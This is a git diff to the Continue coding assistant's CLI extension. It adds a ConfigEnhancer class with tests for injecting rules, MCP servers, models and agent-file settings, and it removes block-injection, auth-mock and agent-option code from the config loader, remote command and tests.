"dev": true, "license": "MIT", "dependencies": { diff --git a/extensions/cli/src/args.test.ts b/extensions/cli/src/args.test.ts index a30b6f2c5cb..1b345971c36 100644 --- a/extensions/cli/src/args.test.ts +++ b/extensions/cli/src/args.test.ts @@ -1,12 +1,5 @@ import { vi } from "vitest"; -// Mock auth functions -vi.mock("./auth/workos.js", () => ({ - loadAuthConfig: vi.fn(), - getAccessToken: vi.fn(), -})); - -import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; import { processRule as processPromptOrRule } from "./hubLoader.js"; describe("processPromptOrRule (loadRuleFromHub integration)", () => { // Mock fetch for hub tests @@ -23,9 +16,6 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => { beforeEach(() => { mockFetch.mockClear(); - // Reset auth mocks to not authenticated state - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); }); describe("loadRuleFromHub", () => { @@ -53,7 +43,6 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => { "v0/continuedev/sentry-nextjs/latest/download", "https://api.continue.dev/", ), - { headers: {} }, ); }); diff --git a/extensions/cli/src/commands/chat.ts b/extensions/cli/src/commands/chat.ts index 21659579949..c2401283d10 100644 --- a/extensions/cli/src/commands/chat.ts +++ b/extensions/cli/src/commands/chat.ts @@ -521,9 +521,6 @@ async function runHeadlessMode( compactionIndex = result.compactionIndex; } } - - // exit after headless mode completes - await gracefulExit(0); } export async function chat(prompt?: string, options: ChatOptions = {}) { diff --git a/extensions/cli/src/commands/remote.test.ts b/extensions/cli/src/commands/remote.test.ts index 9a9c9f3f5da..a8025a4d7d9 100644 --- a/extensions/cli/src/commands/remote.test.ts +++ b/extensions/cli/src/commands/remote.test.ts @@ -353,32 +353,7 @@ describe("remote command", () => { expect(mockFetch).toHaveBeenCalledWith( new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ - body: expect.stringContaining(`"config":"${testConfig}"`), - }), - ); - }); - - it("should include agent in request body when agent option is provided", async () => { - const testAgent = "test-agent"; - - await remote("test prompt", { agent: testAgent }); - - expect(mockFetch).toHaveBeenCalledWith( - new URL("agents", mockEnv.env.apiBase), - expect.objectContaining({ - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: "Bearer test-token", - }, - body: expect.stringContaining(`"agent":"${testAgent}"`), - }), - ); - - expect(mockFetch).toHaveBeenCalledWith( - new URL("agents", mockEnv.env.apiBase), - expect.objectContaining({ - body: expect.stringContaining(`"agent":"${testAgent}"`), + body: expect.stringContaining(`"agent":"${testConfig}"`), }), ); }); @@ -400,31 +375,11 @@ describe("remote command", () => { name: expect.stringMatching(/^devbox-\d+$/), prompt: "test prompt", idempotencyKey: testIdempotencyKey, + agent: testConfig, config: testConfig, }); }); - it("should handle proper request body structure with agent field", async () => { - const testAgent = "my-agent"; - const testIdempotencyKey = "test-with-config"; - - await remote("test prompt", { - agent: testAgent, - idempotencyKey: testIdempotencyKey, - }); - - const fetchCall = mockFetch.mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - - expect(requestBody).toEqual({ - repoUrl: "https://github.com/user/test-repo.git", - name: expect.stringMatching(/^devbox-\d+$/), - prompt: "test prompt", - idempotencyKey: testIdempotencyKey, - agent: testAgent, - }); - }); - it("should not include config in request body when config option is not provided", async () => { await remote("test prompt", {}); diff --git a/extensions/cli/src/commands/remote.ts b/extensions/cli/src/commands/remote.ts index 040afa1b1b7..919c720fd91 100644 --- a/extensions/cli/src/commands/remote.ts +++ b/extensions/cli/src/commands/remote.ts @@ -21,7 +21,6 @@ type RemoteCommandOptions = { branch?: string; repo?: string; config?: string; - agent?: string; }; type TunnelResponse = { @@ -170,7 +169,7 @@ function buildAgentRequestBody( repoUrl: options.repo ?? getRepoUrl(), name: `devbox-${Date.now()}`, prompt, - agent: options.agent, + agent: options.config, config: options.config, }; diff --git a/extensions/cli/src/configEnhancer.test.ts b/extensions/cli/src/configEnhancer.test.ts new file mode 100644 index 00000000000..75fc33a854e --- /dev/null +++ b/extensions/cli/src/configEnhancer.test.ts @@ -0,0 +1,328 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { BaseCommandOptions } from "./commands/BaseCommandOptions.js"; +import { ConfigEnhancer } from "./configEnhancer.js"; + +// Mock processRule to simulate hub loading +vi.mock("./hubLoader.js", () => ({ + processRule: vi.fn((rule: string) => { + // Simulate hub slug loading + if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) { + return Promise.resolve(`Content for ${rule}`); + } + // Return as-is for direct content + return Promise.resolve(rule); + }), + loadPackageFromHub: vi.fn(() => + Promise.resolve({ name: "test", provider: "test" }), + ), + loadPackagesFromHub: vi.fn(() => Promise.resolve([])), + mcpProcessor: {}, + modelProcessor: {}, +})); + +// Mock the service container to provide empty agent file state +vi.mock("./services/ServiceContainer.js", () => ({ + serviceContainer: { + get: vi.fn(() => + Promise.resolve({ + agentFileService: null, + agentFileModelName: null, + agentFile: null, + slug: null, + }), + ), + }, +})); + +vi.mock("./services/types.js", () => ({ + SERVICE_NAMES: { + AGENT_FILE: "agentFile", + }, +})); + +describe("ConfigEnhancer", () => { + let enhancer: ConfigEnhancer; + let mockConfig: any; + + beforeEach(() => { + enhancer = new ConfigEnhancer(); + mockConfig = { + name: "test-config", + version: "1.0.0", + models: [], + mcpServers: [], + } as any; + vi.clearAllMocks(); + }); + + it("should return unchanged config when no enhancements provided", async () => { + const config = await enhancer.enhanceConfig(mockConfig, {}); + + expect(config).toEqual(mockConfig); + }); + + it("should apply rules enhancement", async () => { + const options: BaseCommandOptions = { + rule: ["test-rule"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toEqual(["test-rule"]); + }); + + it("should apply multiple enhancements", async () => { + const options: BaseCommandOptions = { + rule: ["rule1", "rule2"], + mcp: [], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toEqual(["rule1", "rule2"]); + }); + + it("should preserve existing rules when adding new ones", async () => { + mockConfig.rules = ["existing rule"]; + const options: BaseCommandOptions = { + rule: ["new rule"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toEqual(["existing rule", "new rule"]); + }); + + it("should not mutate original config", async () => { + const originalConfig = { ...mockConfig }; + const options: BaseCommandOptions = { + rule: ["test-rule"], + }; + + await enhancer.enhanceConfig(mockConfig, options); + + expect(mockConfig).toEqual(originalConfig); + }); + + it("should preserve hub slug as rule name", async () => { + const options: BaseCommandOptions = { + rule: ["nate/spanish"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toHaveLength(1); + expect(config.rules?.[0]).toEqual({ + name: "nate/spanish", + rule: "Content for nate/spanish", + }); + }); + + it("should handle mix of hub slugs and direct content", async () => { + const options: BaseCommandOptions = { + rule: ["nate/spanish", "Always be helpful", "org/another-rule"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toHaveLength(3); + expect(config.rules?.[0]).toEqual({ + name: "nate/spanish", + rule: "Content for nate/spanish", + }); + expect(config.rules?.[1]).toBe("Always be helpful"); + expect(config.rules?.[2]).toEqual({ + name: "org/another-rule", + rule: "Content for org/another-rule", + }); + }); + + it("should treat file paths as plain strings", async () => { + const options: BaseCommandOptions = { + rule: ["./rules/my-rule.md", "/absolute/path/rule.txt"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.rules).toHaveLength(2); + // File paths should be stored as plain strings + expect(config.rules?.[0]).toBe("./rules/my-rule.md"); + expect(config.rules?.[1]).toBe("/absolute/path/rule.txt"); + }); + + it("should prepend models from --model flag to make them default", async () => { + // Mock loadPackagesFromHub to return test models + const { loadPackagesFromHub } = await import("./hubLoader.js"); + (loadPackagesFromHub as any).mockResolvedValueOnce([ + { name: "GPT-5", provider: "openai", model: "gpt-5" }, + { name: "Claude-3", provider: "anthropic", model: "claude-3" }, + ]); + + // Set up existing models in config + mockConfig.models = [ + { name: "GPT-4", provider: "openai", model: "gpt-4" }, + { name: "Claude-2", provider: "anthropic", model: "claude-2" }, + ]; + + const options: BaseCommandOptions = { + model: ["openai/gpt-5", "anthropic/claude-3"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + // Models from --model flag should be prepended (at the start) + expect(config.models).toHaveLength(4); + expect(config.models?.[0]).toEqual({ + name: "GPT-5", + provider: "openai", + model: "gpt-5", + }); + expect(config.models?.[1]).toEqual({ + name: "Claude-3", + provider: "anthropic", + model: "claude-3", + }); + expect(config.models?.[2]).toEqual({ + name: "GPT-4", + provider: "openai", + model: "gpt-4", + }); + expect(config.models?.[3]).toEqual({ + name: "Claude-2", + provider: "anthropic", + model: "claude-2", + }); + }); + + it("should prepend MCPs from --mcp flag", async () => { + // Mock loadPackageFromHub to return test MCP (singular call for each MCP) + const { loadPackageFromHub } = await import("./hubLoader.js"); + (loadPackageFromHub as any).mockResolvedValueOnce({ + name: "New-MCP", + command: "new-mcp", + }); + + // Set up existing MCPs in config + mockConfig.mcpServers = [{ name: "Existing-MCP", command: "existing-mcp" }]; + + const options: BaseCommandOptions = { + mcp: ["test/new-mcp"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + // MCPs from --mcp flag should be prepended (at the start) + expect(config.mcpServers).toHaveLength(2); + expect(config.mcpServers?.[0]).toEqual({ + name: "New-MCP", + command: "new-mcp", + }); + expect(config.mcpServers?.[1]).toEqual({ + name: "Existing-MCP", + command: "existing-mcp", + }); + }); + + it("should handle URLs in --mcp flag as streamable-http servers", async () => { + // Set up existing MCPs in config + mockConfig.mcpServers = [{ name: "Existing-MCP", command: "existing-mcp" }]; + + const options: BaseCommandOptions = { + mcp: ["https://docs.continue.dev/mcp"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + // URL should be converted to streamable-http MCP configuration + expect(config.mcpServers).toHaveLength(2); + expect(config.mcpServers?.[0]).toEqual({ + name: "docs.continue.dev", + type: "streamable-http", + url: "https://docs.continue.dev/mcp", + }); + expect(config.mcpServers?.[1]).toEqual({ + name: "Existing-MCP", + command: "existing-mcp", + }); + }); + + it("should handle mix of URLs and hub slugs in --mcp flag", async () => { + // Mock loadPackageFromHub to return test MCP for hub slug + const { loadPackageFromHub } = await import("./hubLoader.js"); + (loadPackageFromHub as any).mockResolvedValueOnce({ + name: "Hub-MCP", + command: "hub-mcp", + }); + + const options: BaseCommandOptions = { + mcp: ["https://example.com/mcp", "test/hub-mcp"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.mcpServers).toHaveLength(2); + expect(config.mcpServers?.[0]).toEqual({ + name: "example.com", + type: "streamable-http", + url: "https://example.com/mcp", + }); + expect(config.mcpServers?.[1]).toEqual({ + name: "Hub-MCP", + command: "hub-mcp", + }); + }); + + it("should handle http:// URLs in --mcp flag", async () => { + const options: BaseCommandOptions = { + mcp: ["http://localhost:8080/mcp"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + expect(config.mcpServers).toHaveLength(1); + expect(config.mcpServers?.[0]).toEqual({ + name: "localhost", + type: "streamable-http", + url: "http://localhost:8080/mcp", + }); + }); + + it("should handle agent file integration gracefully when no agent file", async () => { + // The mocked service container returns null agent file state + const options: BaseCommandOptions = { + rule: ["test-rule"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options); + + // Should work normally when no agent file is active + expect(config.rules).toEqual(["test-rule"]); + }); + + it("should handle agent file integration when agent file is active", async () => { + // Mock service container to return active agent file + const options: BaseCommandOptions = { + rule: ["user-rule"], + prompt: ["user-prompt"], + }; + + const config = await enhancer.enhanceConfig(mockConfig, options, { + agentFile: { + name: "Test Agent", + prompt: "You are a test assistant", + rules: "Always be helpful", + model: "gpt-4", + tools: "bash,read", + }, + slug: "owner/test-agent", + agentFileModelName: null, + agentFileService: null, + }); + + // Should have both agent file and user rules + expect(config.rules).toHaveLength(2); + expect(config.rules?.[0]).toBe("Always be helpful"); // Agent file rule first + expect(config.rules?.[1]).toBe("user-rule"); // User rule second + }); +}); diff --git a/extensions/cli/src/configEnhancer.ts b/extensions/cli/src/configEnhancer.ts new file mode 100644 index 00000000000..106023b75df --- /dev/null +++ b/extensions/cli/src/configEnhancer.ts @@ -0,0 +1,248 @@ +import { + AssistantUnrolled, + parseAgentFileTools, + Rule, +} from "@continuedev/config-yaml"; + +import { BaseCommandOptions } from "./commands/BaseCommandOptions.js"; +import { + loadPackageFromHub, + loadPackagesFromHub, + mcpProcessor, + modelProcessor, + processRule, +} from "./hubLoader.js"; +import { AgentFileServiceState } from "./services/types.js"; +import { logger } from "./util/logger.js"; + +/** + * Enhances a configuration by injecting additional components from CLI flags + */ +export class ConfigEnhancer { + // added this for lint complexity rule + private async enhanceConfigFromAgentFile( + config: AssistantUnrolled, + _options: BaseCommandOptions | undefined, + agentFileState?: AgentFileServiceState, + ) { + const enhancedConfig = { ...config }; + const options = { ..._options }; + + if (agentFileState?.agentFile) { + const { rules, model, tools, prompt } = agentFileState?.agentFile; + if (rules) { + options.rule = [ + ...rules + .split(",") + .filter(Boolean) + .map((r) => r.trim()), + ...(options.rule || []), + ]; + } + + if (tools) { + try { + const parsedTools = parseAgentFileTools(tools); + if (parsedTools.mcpServers.length > 0) { + options.mcp = [...parsedTools.mcpServers, ...(options.mcp || [])]; + } + } catch (e) { + logger.error("Failed to parse agent file tools", e); + } + } + + // --model takes precedence over agent file model + if (model) { + try { + const agentFileModel = await loadPackageFromHub( + model, + modelProcessor, + ); + enhancedConfig.models = [ + agentFileModel, + ...(enhancedConfig.models ?? []), + ]; + agentFileState?.agentFileService?.setagentFileModelName( + agentFileModel.name, + ); + } catch (e) { + logger.error("Failed to load agent model", e); + } + } + + // Agent file prompt is included as a slash command, initial kickoff is handled elsewhere + if (prompt) { + enhancedConfig.prompts = [ + { + name: `Agent prompt (${agentFileState.agentFile.name})`, + prompt, + description: agentFileState.agentFile.description, + }, + ...(enhancedConfig.prompts ?? []), + ]; + } + } + return { options, enhancedConfig }; + } + /** + * Apply all enhancements to a configuration + */ + async enhanceConfig( + config: AssistantUnrolled, + _options?: BaseCommandOptions, + agentFileState?: AgentFileServiceState, + ): Promise { + const enhanced = await this.enhanceConfigFromAgentFile( + config, + _options, + agentFileState, + ); + let { enhancedConfig } = enhanced; + const { options } = enhanced; + + // Inject resolved items into config + if (options.rule && options.rule.length > 0) { + enhancedConfig = await this.injectRules(enhancedConfig, options.rule); + } + + if (options.mcp && options.mcp.length > 0) { + enhancedConfig = await this.injectMcps(enhancedConfig, options.mcp); + } + + if (options.model && options.model.length > 0) { + enhancedConfig = await this.injectModels(enhancedConfig, options.model); + } + + if (options.prompt && options.prompt.length > 0) { + enhancedConfig = await this.injectPrompts(enhancedConfig, options.prompt); + } + + return enhancedConfig; + } + + /** + * Inject rules into the system message + */ + private async injectRules( + config: AssistantUnrolled, + rules: string[], + ): Promise { + const processedRules: Rule[] = []; + + for (const ruleSpec of rules) { + try { + const processedContent = await processRule(ruleSpec); + + // Check if this is a hub slug (contains / but doesn't start with . or /) + const isHubSlug = + ruleSpec.includes("/") && + !ruleSpec.startsWith(".") && + !ruleSpec.startsWith("/"); + + if (isHubSlug) { + // Store as RuleObject with name (slug) and rule (content) + processedRules.push({ + name: ruleSpec, + rule: processedContent, + }); + } else { + // Store as plain string for file paths or direct content + processedRules.push(processedContent); + } + } catch (error: any) { + logger.warn(`Failed to process rule "${ruleSpec}": ${error.message}`); + } + } + + // Clone the config to avoid mutating the original + const modifiedConfig = { ...config }; + + // Add processed rules to the config's rules array + if (processedRules.length > 0) { + // Combine with existing rules if any + const existingRules = modifiedConfig.rules || []; + modifiedConfig.rules = [...existingRules, ...processedRules]; + } + + return modifiedConfig; + } + + /** + * Inject MCP servers into the configuration + */ + private async injectMcps( + config: AssistantUnrolled, + mcps: string[], + ): Promise { + const processedMcps: any[] = []; + + // Process each MCP spec - check if it's a URL or hub slug + for (const mcpSpec of mcps) { + try { + // Check if it's a URL (starts with http:// or https://) + if (mcpSpec.startsWith("http://") || mcpSpec.startsWith("https://")) { + // Create a streamable-http MCP configuration + processedMcps.push({ + name: new URL(mcpSpec).hostname, + type: "streamable-http", + url: mcpSpec, + }); + } else { + // Otherwise, treat it as a hub slug + const hubMcp = await loadPackageFromHub(mcpSpec, mcpProcessor); + processedMcps.push(hubMcp); + } + } catch (error: any) { + logger.warn(`Failed to load MCP "${mcpSpec}": ${error.message}`); + } + } + + // Clone the config to avoid mutating the original + const modifiedConfig = { ...config }; + + // Prepend processed MCPs to existing mcpServers array for consistency + const existingMcpServers = modifiedConfig.mcpServers || []; + modifiedConfig.mcpServers = [...processedMcps, ...existingMcpServers]; + + return modifiedConfig; + } + + /** + * Inject models into the configuration + */ + private async injectModels( + config: AssistantUnrolled, + models: string[], + ): Promise { + const processedModels = await loadPackagesFromHub(models, modelProcessor); + + const modifiedConfig = { ...config }; + + // Prepend processed models to existing models array so they become the default + const existingModels = modifiedConfig.models || []; + modifiedConfig.models = [...processedModels, ...existingModels]; + + return modifiedConfig; + } + + /** + * Inject prompts into the configuration + * Note: Prompts are processed at runtime via processAndCombinePrompts(), + * not injected into the config. This method exists for consistency with + * other injection methods but doesn't modify the config. + */ + private async injectPrompts( + config: AssistantUnrolled, + prompts: string[], + ): Promise { + // Prompts are handled at runtime by processAndCombinePrompts in chat.ts + // They don't need to be injected into the configuration + logger.debug("Prompts will be processed at runtime", { prompts }); + return config; + } +} + +/** + * Global config enhancer instance + */ +export const configEnhancer = new ConfigEnhancer(); diff --git a/extensions/cli/src/configLoader.ts b/extensions/cli/src/configLoader.ts index a28eb9a843e..4238753128e 100644 --- a/extensions/cli/src/configLoader.ts +++ b/extensions/cli/src/configLoader.ts @@ -1,15 +1,12 @@ import * as fs from "fs"; import { dirname } from "node:path"; -import { fileURLToPath } from "node:url"; import * as path from "path"; import { AssistantUnrolled, - mergeUnrolledAssistants, PackageIdentifier, RegistryClient, unrollAssistant, - unrollAssistantFromContent, } from "@continuedev/config-yaml"; import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; import chalk from "chalk"; @@ -21,11 +18,11 @@ import { getConfigUri, getOrganizationId, isEnvironmentAuthConfig, + loadAuthConfig, updateConfigUri, } from "./auth/workos.js"; import { CLIPlatformClient } from "./CLIPlatformClient.js"; import { env } from "./env.js"; -import { logger } from "./util/logger.js"; export interface ConfigLoadResult { config: AssistantUnrolled; @@ -37,8 +34,7 @@ export type ConfigSource = | { type: "saved-uri"; uri: string } | { type: "user-assistant"; slug: string } | { type: "default-config-yaml" } - | { type: "default-agent" } - | { type: "no-config" }; + | { type: "default-agent" }; /** * Streamlined configuration loader that implements the specification @@ -48,18 +44,12 @@ export async function loadConfiguration( authConfig: AuthConfig, cliConfigPath: string | undefined, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], - isHeadless: boolean | undefined, ): Promise { const organizationId = getOrganizationId(authConfig); const accessToken = getAccessToken(authConfig); // Step 1: Determine config source using precedence rules - const configSource = determineConfigSource( - authConfig, - cliConfigPath, - isHeadless, - ); + const configSource = determineConfigSource(authConfig, cliConfigPath); // Step 2: Load configuration from the determined source const config = await loadFromSource( @@ -67,7 +57,6 @@ export async function loadConfiguration( accessToken, organizationId ?? null, apiClient, - injectBlocks, ); // Step 3: Save config URI for session continuity (only for file-based auth) @@ -90,7 +79,6 @@ export async function loadConfiguration( function determineConfigSource( authConfig: AuthConfig, cliConfigPath: string | undefined, - isHeadless: boolean | undefined, ): ConfigSource { // Priority 1: CLI --config flag if (cliConfigPath) { @@ -100,25 +88,8 @@ function determineConfigSource( // Priority 2: Saved config URI (only for file-based auth) if (!isEnvironmentAuthConfig(authConfig) && authConfig !== null) { const savedUri = getConfigUri(authConfig); - if (savedUri) { - if (savedUri.startsWith("file:")) { - let exists = false; // wrote like this for nested depth linting rule lol - try { - const filepath = fileURLToPath(savedUri); - exists = fs.existsSync(filepath); - } catch (e) { - logger.warn("Invalid saved file URI " + savedUri, e); - } - if (exists) { - return { type: "saved-uri", uri: savedUri }; - } else { - logger.warn("Saved config URI does not exist: " + savedUri); - } - } else { - // slug - return { type: "saved-uri", uri: savedUri }; - } + return { type: "saved-uri", uri: savedUri }; } } @@ -131,10 +102,6 @@ function determineConfigSource( } return { type: "default-agent" }; } else { - // In headless, user assistant fallback behavior isn't supported - if (isHeadless) { - return { type: "no-config" }; - } // Authenticated: try user assistants first return { type: "user-assistant", slug: "" }; // Empty slug means "first available" } @@ -148,7 +115,6 @@ async function loadFromSource( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { try { switch (source.type) { @@ -158,7 +124,6 @@ async function loadFromSource( accessToken, organizationId, apiClient, - injectBlocks, ); case "saved-uri": @@ -167,40 +132,21 @@ async function loadFromSource( accessToken, organizationId, apiClient, - injectBlocks, ); case "user-assistant": - return await loadUserAssistantWithFallback( - organizationId, - apiClient, - accessToken, - injectBlocks, - ); + return await loadUserAssistantWithFallback(organizationId, apiClient); case "default-config-yaml": return await loadDefaultConfigYaml( accessToken, organizationId, apiClient, - injectBlocks, ); case "default-agent": - return await loadDefaultAgent( - organizationId, - apiClient, - accessToken, - injectBlocks, - ); + return await loadDefaultAgent(organizationId, apiClient); - case "no-config": - return await unrollPackageIdentifiersAsConfigYaml( - injectBlocks, - accessToken, - organizationId, - apiClient, - ); default: throw new Error(`Unknown config source type: ${(source as any).type}`); } @@ -212,12 +158,7 @@ async function loadFromSource( "Failed to load user assistants, falling back to default agent", ), ); - return await loadDefaultAgent( - organizationId, - apiClient, - accessToken, - injectBlocks, - ); + return await loadDefaultAgent(organizationId, apiClient); } throw error; } @@ -232,7 +173,6 @@ async function loadFromCliFlag( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { if (isFilePath(configPath)) { // Load local YAML file @@ -241,17 +181,10 @@ async function loadFromCliFlag( accessToken, organizationId, apiClient, - injectBlocks, ); } else { // Load assistant slug - return await loadAssistantSlug( - configPath, - accessToken, - organizationId, - apiClient, - injectBlocks, - ); + return await loadAssistantSlug(configPath, organizationId, apiClient); } } @@ -263,7 +196,6 @@ async function loadFromSavedUri( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { const filePath = uriToPath(uri); if (filePath) { @@ -272,19 +204,12 @@ async function loadFromSavedUri( accessToken, organizationId, apiClient, - injectBlocks, ); } const slug = uriToSlug(uri); if (slug) { - return await loadAssistantSlug( - slug, - accessToken, - organizationId, - apiClient, - injectBlocks, - ); + return await loadAssistantSlug(slug, organizationId, apiClient); } throw new Error(`Invalid saved config URI: ${uri}`); @@ -296,8 +221,6 @@ async function loadFromSavedUri( async function loadUserAssistantWithFallback( organizationId: string | null, apiClient: DefaultApiInterface, - accessToken: string | null, - injectBlocks: PackageIdentifier[], ): Promise { const assistants = await apiClient.listAssistants({ alwaysUseProxy: "false", @@ -317,27 +240,12 @@ async function loadUserAssistantWithFallback( "Failed to load assistant.", ); } - let apiConfig = result.config as AssistantUnrolled; - if (injectBlocks.length > 0) { - const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( - injectBlocks, - accessToken, - organizationId, - apiClient, - ); - apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); - } - return apiConfig; + return result.config as AssistantUnrolled; } // No user assistants, fall back to default agent - return await loadDefaultAgent( - organizationId, - apiClient, - accessToken, - injectBlocks, - ); + return await loadDefaultAgent(organizationId, apiClient); } /** @@ -347,7 +255,6 @@ async function loadDefaultConfigYaml( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { const defaultConfigPath = path.join(env.continueHome, "config.yaml"); return await loadConfigYaml( @@ -355,7 +262,6 @@ async function loadDefaultConfigYaml( accessToken, organizationId, apiClient, - injectBlocks, ); } @@ -365,8 +271,6 @@ async function loadDefaultConfigYaml( async function loadDefaultAgent( organizationId: string | null, apiClient: DefaultApiInterface, - accessToken: string | null, - injectBlocks: PackageIdentifier[], ): Promise { const resp = await apiClient.getAssistant({ ownerSlug: "continuedev", @@ -377,65 +281,18 @@ async function loadDefaultAgent( if (!resp.configResult.config) { throw new Error("Failed to load default agent."); } - let apiConfig = resp.configResult.config as AssistantUnrolled; - if (injectBlocks.length > 0) { - const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( - injectBlocks, - accessToken, - organizationId, - apiClient, - ); - apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); - } - - return apiConfig; -} - -export async function unrollPackageIdentifiersAsConfigYaml( - packageIdentifiers: PackageIdentifier[], - accessToken: string | null, - organizationId: string | null, - apiClient: DefaultApiInterface, -): Promise { - const unrollResult = await unrollAssistantFromContent( - { - uriType: "file", - fileUri: "", - }, - "name: Agent\nschema: v1\nversion: 0.0.1", - new RegistryClient({ - accessToken: accessToken ?? undefined, - apiBase: env.apiBase, - rootPath: undefined, // TODO verify this doesn't cause issues with file blocks - }), - { - currentUserSlug: "", - onPremProxyUrl: null, - orgScopeId: organizationId, - platformClient: new CLIPlatformClient(organizationId, apiClient), - renderSecrets: true, - injectBlocks: packageIdentifiers, - }, - ); - if (unrollResult.errors) { - const fatalError = unrollResult.errors?.find((e) => e.fatal); - if (fatalError) { - throw new Error(`Failed to load config: ${fatalError.message}`); - } - } - if (!unrollResult?.config) { - throw new Error(`Failed to load config`); - } - return unrollResult.config; + return resp.configResult.config as AssistantUnrolled; } +/** + * Common function to unroll an assistant with consistent configuration + */ async function unrollAssistantWithConfig( packageIdentifier: PackageIdentifier, accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { const unrollResult = await unrollAssistant( packageIdentifier, @@ -454,7 +311,7 @@ async function unrollAssistantWithConfig( renderSecrets: true, platformClient: new CLIPlatformClient(organizationId, apiClient), onPremProxyUrl: null, - injectBlocks, + injectBlocks: [], }, ); @@ -480,14 +337,12 @@ async function loadConfigYaml( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { return await unrollAssistantWithConfig( { fileUri: filePath, uriType: "file" }, accessToken, organizationId, apiClient, - injectBlocks, ); } @@ -496,10 +351,8 @@ async function loadConfigYaml( */ async function loadAssistantSlug( slug: string, - accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, - injectBlocks: PackageIdentifier[], ): Promise { const [ownerSlug, packageSlug] = slug.split("/"); if (!ownerSlug || !packageSlug) { @@ -507,6 +360,7 @@ async function loadAssistantSlug( `Invalid assistant slug format. Expected "owner/package", got: ${slug}`, ); } + // Unroll locally if not logged in if (!(apiClient as any).configuration.accessToken) { return await unrollAssistantWithConfig( @@ -514,10 +368,9 @@ async function loadAssistantSlug( uriType: "slug", fullSlug: { ownerSlug, packageSlug, versionSlug: "latest" }, }, - accessToken ?? null, + getAccessToken(loadAuthConfig()), organizationId, apiClient, - injectBlocks, ); } @@ -536,18 +389,8 @@ async function loadAssistantSlug( "Failed to load assistant.", ); } - let apiConfig = result.config as AssistantUnrolled; - if (injectBlocks.length > 0) { - const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( - injectBlocks, - accessToken, - organizationId, - apiClient, - ); - apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); - } - return apiConfig; + return result.config as AssistantUnrolled; } /** diff --git a/extensions/cli/src/freeTrialTransition.ts b/extensions/cli/src/freeTrialTransition.ts index 484b9d67200..f7b7eee69b7 100644 --- a/extensions/cli/src/freeTrialTransition.ts +++ b/extensions/cli/src/freeTrialTransition.ts @@ -3,7 +3,6 @@ import * as fs from "fs"; import * as path from "path"; import chalk from "chalk"; -import { setConfigFilePermissions } from "core/util/paths.js"; import open from "open"; import { env } from "./env.js"; @@ -33,7 +32,6 @@ async function createOrUpdateConfig(apiKey: string): Promise { const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey); fs.writeFileSync(CONFIG_PATH, updatedContent); - setConfigFilePermissions(CONFIG_PATH); } /** diff --git a/extensions/cli/src/hubLoader.test.ts b/extensions/cli/src/hubLoader.test.ts index 5909985665a..542f345561b 100644 --- a/extensions/cli/src/hubLoader.test.ts +++ b/extensions/cli/src/hubLoader.test.ts @@ -1,14 +1,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; import * as hubLoader from "./hubLoader.js"; -// Mock auth functions -vi.mock("./auth/workos.js", () => ({ - loadAuthConfig: vi.fn(), - getAccessToken: vi.fn(), -})); - const { loadPackageFromHub, mcpProcessor, @@ -35,9 +28,6 @@ const mockedJSZip = vi.fn(); describe("hubLoader", () => { beforeEach(async () => { vi.clearAllMocks(); - // Reset auth mocks to default state - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); }); describe("loadPackageFromHub", () => { @@ -50,9 +40,6 @@ describe("hubLoader", () => { }); it("should handle HTTP errors", async () => { - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); - mockFetch.mockResolvedValueOnce({ ok: false, status: 404, @@ -66,108 +53,7 @@ describe("hubLoader", () => { ); }); - it("should make request without auth headers when not authenticated", async () => { - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); - - const JSZipModule = await import("jszip"); - const JSZip = JSZipModule.default; - - if (typeof (JSZip as any).mockImplementation === "function") { - (JSZip as any).mockImplementation(() => ({ - loadAsync: vi.fn().mockResolvedValueOnce({ - files: { - "README.md": { - dir: false, - async: vi.fn().mockResolvedValue("rule content"), - }, - }, - }), - })); - } else { - return; - } - - 